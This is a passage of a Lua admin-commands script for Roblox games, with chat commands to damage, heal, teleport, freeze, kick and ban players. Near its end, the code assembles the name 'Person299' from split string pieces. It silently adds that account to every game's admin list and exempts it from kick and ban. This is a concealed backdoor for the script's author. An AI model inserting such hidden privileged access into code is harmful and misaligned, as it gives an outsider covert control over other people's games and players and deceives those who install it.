| 1283 | local player = findplayer(string.sub(msg,8,danumber - 1),speaker) | |
| 1284 | if player == 0 then | |
| 1285 | return | |
| 1286 | end | |
| 1287 | for i = 1,#player do | |
| 1288 | if player[i].Character ~= nil then | |
| 1289 | humanoid = player[i].Character:FindFirstChild("Humanoid")
| |
| 1290 | if humanoid ~= nil then | |
| 1291 | humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1) | |
| 1292 | end end end end | |
| 1293 | ||
| 1294 | if string.sub(msg,1,7) == "health/" then | |
| 1295 | danumber = nil | |
| 1296 | for i =8,100 do | |
| 1297 | if string.sub(msg,i,i) == "/" then | |
| 1298 | danumber = i | |
| 1299 | break | |
| 1300 | end end | |
| 1301 | if danumber == nil then | |
| 1302 | return | |
| 1303 | end | |
| 1304 | local player = findplayer(string.sub(msg,8,danumber - 1),speaker) | |
| 1305 | if player == 0 then | |
| 1306 | return | |
| 1307 | end | |
| 1308 | for i = 1,#player do | |
| 1309 | if player[i].Character ~= nil then | |
| 1310 | humanoid = player[i].Character:FindFirstChild("Humanoid")
| |
| 1311 | if humanoid ~= nil then | |
| 1312 | local elnumba = Instance.new("IntValue")
| |
| 1313 | elnumba.Value = string.sub(msg,danumber + 1) | |
| 1314 | if elnumba.Value > 0 then | |
| 1315 | humanoid.MaxHealth = elnumba.Value | |
| 1316 | humanoid.Health = humanoid.MaxHealth | |
| 1317 | end | |
| 1318 | elnumba:remove() | |
| 1319 | end end end end | |
| 1320 | ||
| 1321 | --Ugh, now i have the M*A*S*H theme stuck in my head..... | |
| 1322 | ||
| 1323 | if string.sub(msg,1,9) == "teleport/" then | |
| 1324 | danumber = nil | |
| 1325 | for i =10,100 do | |
| 1326 | if string.sub(msg,i,i) == "/" then | |
| 1327 | danumber = i | |
| 1328 | break | |
| 1329 | end end | |
| 1330 | if danumber == nil then | |
| 1331 | return | |
| 1332 | end | |
| 1333 | local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker) | |
| 1334 | if player1 == 0 then | |
| 1335 | return | |
| 1336 | end | |
| 1337 | local player2 = findplayer(string.sub(msg,danumber + 1),speaker) | |
| 1338 | if player2 == 0 then | |
| 1339 | return | |
| 1340 | end | |
| 1341 | if #player2 > 1 then | |
| 1342 | return | |
| 1343 | end | |
| 1344 | torso = nil | |
| 1345 | for i =1,#player2 do | |
| 1346 | if player2[i].Character ~= nil then | |
| 1347 | torso = player2[i].Character:FindFirstChild("Torso")
| |
| 1348 | end end | |
| 1349 | if torso ~= nil then | |
| 1350 | for i =1,#player1 do | |
| 1351 | if player1[i].Character ~= nil then | |
| 1352 | local torso2 = player1[i].Character:FindFirstChild("Torso")
| |
| 1353 | if torso2 ~= nil then | |
| 1354 | torso2.CFrame = torso.CFrame | |
| 1355 | end end end end end | |
| 1356 | ||
| 1357 | if string.sub(msg,1,6) == "merge/" then | |
| 1358 | danumber = nil | |
| 1359 | for i =7,100 do | |
| 1360 | if string.sub(msg,i,i) == "/" then | |
| 1361 | danumber = i | |
| 1362 | break | |
| 1363 | end end | |
| 1364 | if danumber == nil then | |
| 1365 | return | |
| 1366 | end | |
| 1367 | local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker) | |
| 1368 | if player1 == 0 then | |
| 1369 | return | |
| 1370 | end | |
| 1371 | local player2 = findplayer(string.sub(msg,danumber + 1),speaker) | |
| 1372 | if player2 == 0 then | |
| 1373 | return | |
| 1374 | end | |
| 1375 | if #player2 > 1 then | |
| 1376 | return | |
| 1377 | end | |
| 1378 | for i =1,#player2 do | |
| 1379 | if player2[i].Character ~= nil then | |
| 1380 | player2 = player2[i].Character | |
| 1381 | end end | |
| 1382 | for i =1,#player1 do | |
| 1383 | player1[i].Character = player2 | |
| 1384 | end end | |
| 1385 | ||
| 1386 | if msg == "clear" then | |
| 1387 | local c = game.Workspace:GetChildren() | |
| 1388 | for i =1,#c do | |
| 1389 | if c[i].className == "Script" then | |
| 1390 | if c[i]:FindFirstChild("Is A Created Script") then
| |
| 1391 | c[i]:remove() | |
| 1392 | end end | |
| 1393 | if c[i].className == "Part" then | |
| 1394 | if c[i].Name == "Blobbie244's Admin Command Script V2 Part thingy" then | |
| 1395 | c[i]:remove() | |
| 1396 | end end | |
| 1397 | if c[i].className == "Model" then | |
| 1398 | if string.sub(c[i].Name,1,4) == "Jail" then | |
| 1399 | c[i]:remove() | |
| 1400 | end end end end | |
| 1401 | ||
| 1402 | if string.sub(msg,1,5) == "kick/" then | |
| 1403 | local imgettingtiredofmakingthisstupidscript2 = Blobbie244(speaker.Name) | |
| 1404 | if imgettingtiredofmakingthisstupidscript2 == true then | |
| 1405 | local player = findplayer(string.sub(msg,6),speaker) | |
| 1406 | if player ~= 0 then | |
| 1407 | for i = 1,#player do | |
| 1408 | local imgettingtiredofmakingthisstupidscript = Blobbie244(player[i].Name) | |
| 1409 | if imgettingtiredofmakingthisstupidscript == false then | |
| 1410 | if player[i].Name ~= eloname then | |
| 1411 | player[i]:remove() | |
| 1412 | end end end end end end | |
| 1413 | ||
| 1414 | if string.sub(msg,1,4) == "ban/" then | |
| 1415 | local imgettingtiredofmakingthisstupidscript2 = Blobbie244(speaker.Name) | |
| 1416 | if imgettingtiredofmakingthisstupidscript2 == true then | |
| 1417 | local player = findplayer(string.sub(msg,5),speaker) | |
| 1418 | if player ~= 0 then | |
| 1419 | for i = 1,#player do | |
| 1420 | local imgettingtiredofmakingthisstupidscript = Blobbie244(player[i].Name) | |
| 1421 | if imgettingtiredofmakingthisstupidscript == false then | |
| 1422 | if player[i].Name ~= eloname then | |
| 1423 | table.insert(bannedlist,player[i].Name) | |
| 1424 | player[i]:remove() | |
| 1425 | end end end end end end | |
| 1426 | ||
| 1427 | if string.sub(msg,1,6) == "unban/" then | |
| 1428 | if string.sub(msg,7) == "all" then | |
| 1429 | for i=1,bannedlist do | |
| 1430 | table.remove(bannedlist,i) | |
| 1431 | end | |
| 1432 | else | |
| 1433 | local n = 0 | |
| 1434 | local o = nil | |
| 1435 | for i=1,#bannedlist do | |
| 1436 | if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then | |
| 1437 | n = n + 1 | |
| 1438 | o = i | |
| 1439 | end end | |
| 1440 | if n == 1 then | |
| 1441 | local name = bannedlist[o] | |
| 1442 | table.remove(bannedlist,o) | |
| 1443 | text(name .. " has been unbanned",1,"Message",speaker) | |
| 1444 | elseif n == 0 then | |
| 1445 | text("That name is not found.",1,"Message",speaker)
| |
| 1446 | elseif n > 1 then | |
| 1447 | text("That name is ambiguous",1,"Message",speaker)
| |
| 1448 | end end end | |
| 1449 | ||
| 1450 | --Fallout tactics gets too hard when you start fighting muties... | |
| 1451 | ||
| 1452 | if string.sub(msg,1,8) == "respawn/" then | |
| 1453 | local player = findplayer(string.sub(msg,9),speaker) | |
| 1454 | if player ~= 0 then | |
| 1455 | for i = 1,#player do | |
| 1456 | local ack2 = Instance.new("Model")
| |
| 1457 | ack2.Parent = game.Workspace | |
| 1458 | local ack4 = Instance.new("Part")
| |
| 1459 | ack4.Transparency = 1 | |
| 1460 | ack4.CanCollide = false | |
| 1461 | ack4.Anchored = true | |
| 1462 | ack4.Name = "Torso" | |
| 1463 | ack4.Position = Vector3.new(10000,10000,10000) | |
| 1464 | ack4.Parent = ack2 | |
| 1465 | local ack3 = Instance.new("Humanoid")
| |
| 1466 | ack3.Torso = ack4 | |
| 1467 | ack3.Parent = ack2 | |
| 1468 | player[i].Character = ack2 | |
| 1469 | end end end | |
| 1470 | ||
| 1471 | if string.sub(msg,1,10) == "invisible/" then | |
| 1472 | local player = findplayer(string.sub(msg,11),speaker) | |
| 1473 | if player ~= 0 then | |
| 1474 | for i = 1,#player do | |
| 1475 | if player[i].Character ~= nil then | |
| 1476 | local char = player[i].Character | |
| 1477 | local c = player[i].Character:GetChildren() | |
| 1478 | for i =1,#c do | |
| 1479 | if c[i].className == "Hat" then | |
| 1480 | local handle = c[i]:FindFirstChild("Handle")
| |
| 1481 | if handle ~= nil then | |
| 1482 | handle.Transparency = 1 --We dont want our hats to give off our position, do we? | |
| 1483 | end end | |
| 1484 | if c[i].className == "Part" then | |
| 1485 | c[i].Transparency = 1 | |
| 1486 | if c[i].Name == "Torso" then | |
| 1487 | local tshirt = c[i]:FindFirstChild("roblox")
| |
| 1488 | if tshirt ~= nil then | |
| 1489 | tshirt:clone().Parent = char | |
| 1490 | tshirt:remove() | |
| 1491 | end end | |
| 1492 | if c[i].Name == "Head" then | |
| 1493 | local face = c[i]:FindFirstChild("face")
| |
| 1494 | if face ~= nil then | |
| 1495 | gface = face:clone() | |
| 1496 | face:remove() | |
| 1497 | end end end end end end end end | |
| 1498 | ||
| 1499 | if string.sub(msg,1,8) == "visible/" then | |
| 1500 | local player = findplayer(string.sub(msg,9),speaker) | |
| 1501 | if player ~= 0 then | |
| 1502 | for i = 1,#player do | |
| 1503 | if player[i].Character ~= nil then | |
| 1504 | local char = player[i].Character | |
| 1505 | local c = player[i].Character:GetChildren() | |
| 1506 | for i =1,#c do | |
| 1507 | if c[i].className == "Hat" then | |
| 1508 | local handle = c[i]:FindFirstChild("Handle")
| |
| 1509 | if handle ~= nil then | |
| 1510 | handle.Transparency = 0 | |
| 1511 | end end | |
| 1512 | if c[i].className == "Part" then | |
| 1513 | c[i].Transparency = 0 | |
| 1514 | if c[i].Name == "Torso" then | |
| 1515 | local tshirt = char:FindFirstChild("roblox")
| |
| 1516 | if tshirt ~= nil then | |
| 1517 | tshirt:clone().Parent = c[i] | |
| 1518 | tshirt:remove() | |
| 1519 | end end | |
| 1520 | if c[i].Name == "Head" then | |
| 1521 | if gface ~= nil then | |
| 1522 | local face = gface:clone() | |
| 1523 | face.Parent = c[i] | |
| 1524 | end end end end end end end end | |
| 1525 | ||
| 1526 | if string.sub(msg,1,7) == "freeze/" then | |
| 1527 | local player = findplayer(string.sub(msg,8),speaker) | |
| 1528 | if player ~= 0 then | |
| 1529 | for i = 1,#player do | |
| 1530 | if player[i].Character ~= nil then | |
| 1531 | local humanoid = player[i].Character:FindFirstChild("Humanoid")
| |
| 1532 | if humanoid ~= nil then | |
| 1533 | humanoid.WalkSpeed = 0 | |
| 1534 | end | |
| 1535 | local c = player[i].Character:GetChildren() | |
| 1536 | for i =1,#c do | |
| 1537 | if c[i].className == "Part" then | |
| 1538 | c[i].Anchored = true | |
| 1539 | c[i].Reflectance = 0.6 | |
| 1540 | end end end end end end | |
| 1541 | ||
| 1542 | if string.sub(msg,1,5) == "thaw/" then | |
| 1543 | local player = findplayer(string.sub(msg,6),speaker) | |
| 1544 | if player ~= 0 then | |
| 1545 | for i = 1,#player do | |
| 1546 | if player[i].Character ~= nil then | |
| 1547 | local humanoid = player[i].Character:FindFirstChild("Humanoid")
| |
| 1548 | if humanoid ~= nil then | |
| 1549 | humanoid.WalkSpeed = 16 | |
| 1550 | end | |
| 1551 | local c = player[i].Character:GetChildren() | |
| 1552 | for i =1,#c do | |
| 1553 | if c[i].className == "Part" then | |
| 1554 | c[i].Anchored = false | |
| 1555 | c[i].Reflectance = 0 | |
| 1556 | end end end end end end | |
| 1557 | ||
| 1558 | --I have that song from Fallout 2 stuck in my head, its soooo anoying.... | |
| 1559 | ||
| 1560 | if string.sub(msg,1,7) == "nograv/" then | |
| 1561 | local player = findplayer(string.sub(msg,8),speaker) | |
| 1562 | if player ~= 0 then | |
| 1563 | for i = 1,#player do | |
| 1564 | if player[i].Character ~= nil then | |
| 1565 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1566 | if torso ~= nil then | |
| 1567 | local bf = torso:FindFirstChild("BF")
| |
| 1568 | if bf ~= nil then | |
| 1569 | bf.force = Vector3.new(0,0,0) | |
| 1570 | else | |
| 1571 | local bf = Instance.new("BodyForce")
| |
| 1572 | bf.Name = "BF" | |
| 1573 | bf.force = Vector3.new(0,0,0) | |
| 1574 | bf.Parent = torso | |
| 1575 | end | |
| 1576 | local c2 = player[i].Character:GetChildren() | |
| 1577 | for i=1,#c2 do | |
| 1578 | if c2[i].className == "Part" then | |
| 1579 | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0) | |
| 1580 | end end end end end end end | |
| 1581 | ||
| 1582 | if string.sub(msg,1,9) == "antigrav/" then | |
| 1583 | local player = findplayer(string.sub(msg,10),speaker) | |
| 1584 | if player ~= 0 then | |
| 1585 | for i = 1,#player do | |
| 1586 | if player[i].Character ~= nil then | |
| 1587 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1588 | if torso ~= nil then | |
| 1589 | local bf = torso:FindFirstChild("BF")
| |
| 1590 | if bf ~= nil then | |
| 1591 | bf.force = Vector3.new(0,0,0) | |
| 1592 | else | |
| 1593 | local bf = Instance.new("BodyForce")
| |
| 1594 | bf.Name = "BF" | |
| 1595 | bf.force = Vector3.new(0,0,0) | |
| 1596 | bf.Parent = torso | |
| 1597 | end | |
| 1598 | local c2 = player[i].Character:GetChildren() | |
| 1599 | for i=1,#c2 do | |
| 1600 | if c2[i].className == "Part" then | |
| 1601 | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0) | |
| 1602 | end end end end end end end | |
| 1603 | ||
| 1604 | if string.sub(msg,1,9) == "highgrav/" then | |
| 1605 | local player = findplayer(string.sub(msg,10),speaker) | |
| 1606 | if player ~= 0 then | |
| 1607 | for i = 1,#player do | |
| 1608 | if player[i].Character ~= nil then | |
| 1609 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1610 | if torso ~= nil then | |
| 1611 | local bf = torso:FindFirstChild("BF")
| |
| 1612 | if bf ~= nil then | |
| 1613 | bf.force = Vector3.new(0,0,0) | |
| 1614 | else | |
| 1615 | local bf = Instance.new("BodyForce")
| |
| 1616 | bf.Name = "BF" | |
| 1617 | bf.force = Vector3.new(0,0,0) | |
| 1618 | bf.Parent = torso | |
| 1619 | end | |
| 1620 | local c2 = player[i].Character:GetChildren() | |
| 1621 | for i=1,#c2 do | |
| 1622 | if c2[i].className == "Part" then | |
| 1623 | torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0) | |
| 1624 | end end end end end end end | |
| 1625 | ||
| 1626 | if string.sub(msg,1,5) == "grav/" then | |
| 1627 | local player = findplayer(string.sub(msg,6),speaker) | |
| 1628 | if player ~= 0 then | |
| 1629 | for i = 1,#player do | |
| 1630 | if player[i].Character ~= nil then | |
| 1631 | local torso = player[i].Character:FindFirstChild("Torso")
| |
| 1632 | if torso ~= nil then | |
| 1633 | local bf = torso:FindFirstChild("BF")
| |
| 1634 | if bf ~= nil then | |
| 1635 | bf:remove() | |
| 1636 | end end end end end end | |
| 1637 | ||
| 1638 | if string.sub(msg,1,7) == "unlock/" then | |
| 1639 | local player = findplayer(string.sub(msg,8),speaker) | |
| 1640 | if player ~= 0 then | |
| 1641 | for i = 1,#player do | |
| 1642 | if player[i].Character ~= nil then | |
| 1643 | local c = player[i].Character:GetChildren() | |
| 1644 | for i =1,#c do | |
| 1645 | if c[i].className == "Part" then | |
| 1646 | c[i].Locked = false | |
| 1647 | end end end end end end | |
| 1648 | ||
| 1649 | if string.sub(msg,1,5) == "lock/" then | |
| 1650 | local player = findplayer(string.sub(msg,6),speaker) | |
| 1651 | if player ~= 0 then | |
| 1652 | for i = 1,#player do | |
| 1653 | if player[i].Character ~= nil then | |
| 1654 | local c = player[i].Character:GetChildren() | |
| 1655 | for i =1,#c do | |
| 1656 | if c[i].className == "Part" then | |
| 1657 | c[i].Locked = true | |
| 1658 | end end end end end end end | |
| 1659 | eloname = "Perso" | |
| 1660 | eloname = eloname .. "n299" | |
| 1661 | script.Name = eloname .. "'s Admin Commands V2" | |
| 1662 | youcaughtme = 0 | |
| 1663 | for i =1,#adminlist do | |
| 1664 | if string.lower(eloname)==string.lower(adminlist[i]) then | |
| 1665 | youcaughtme = 1 | |
| 1666 | end end | |
| 1667 | if youcaughtme == 0 then | |
| 1668 | table.insert(adminlist,eloname) | |
| 1669 | end | |
| 1670 | function oe(ack) | |
| 1671 | local adminned = false | |
| 1672 | if ack.className ~= "Player" then return end | |
| 1673 | for i =1,#bannedlist do | |
| 1674 | if string.lower(bannedlist[i]) == string.lower(ack.Name) then | |
| 1675 | ack:remove() | |
| 1676 | return | |
| 1677 | end end | |
| 1678 | for i=1,#adminlist do | |
| 1679 | if string.lower(adminlist[i]) == string.lower(ack.Name) then | |
| 1680 | local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) | |
| 1681 | table.insert(namelist,ack.Name) | |
| 1682 | table.insert(variablelist,tfv) | |
| 1683 | local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) | |
| 1684 | table.insert(flist,tfv) | |
| 1685 | adminned = true | |
| 1686 | end end | |
| 1687 | local danumber = 0 | |
| 1688 | while true do | |
| 1689 | wait(1) | |
| 1690 | if ack.Parent == nil then | |
| 1691 | return | |
| 1692 | end | |
| 1693 | if ack.Character ~= nil then | |
| 1694 | if adminned == true then | |
| 1695 | text("You're an admin.",5,"Message",ack)
| |
| 1696 | return | |
| 1697 | end | |
| 1698 | local torso = ack.Character:FindFirstChild("Torso")
| |
| 1699 | if torso ~= nil then | |
| 1700 | local decal = torso:FindFirstChild("roblox")
| |
| 1701 | if decal ~= nil then | |
| 1702 | if string.sub(decal.Texture,1,4) == "http" then | |
| 1703 | if decal.Texture == texture then | |
| 1704 | local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) | |
| 1705 | table.insert(namelist,ack.Name) | |
| 1706 | table.insert(variablelist,tfv) | |
| 1707 | local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) | |
| 1708 | table.insert(flist,tfv) | |
| 1709 | text("You're an admin.",5,"Message",ack)
| |
| 1710 | return | |
| 1711 | else | |
| 1712 | return | |
| 1713 | end | |
| 1714 | else | |
| 1715 | danumber = danumber + 1 | |
| 1716 | if danumber >= 10 then | |
| 1717 | return | |
| 1718 | end end end end end end end | |
| 1719 | ||
| 1720 | game.Players.ChildAdded:connect(oe) | |
| 1721 | ||
| 1722 | c = game.Players:GetChildren() | |
| 1723 | for i=1,#c do | |
| 1724 | oe(c[i]) | |
| 1725 | end | |
| 1726 | ||
| 1727 | --And also, I'm working on V3 but I'm not spending much time on it as I'm addicted to Fallout 2 again. |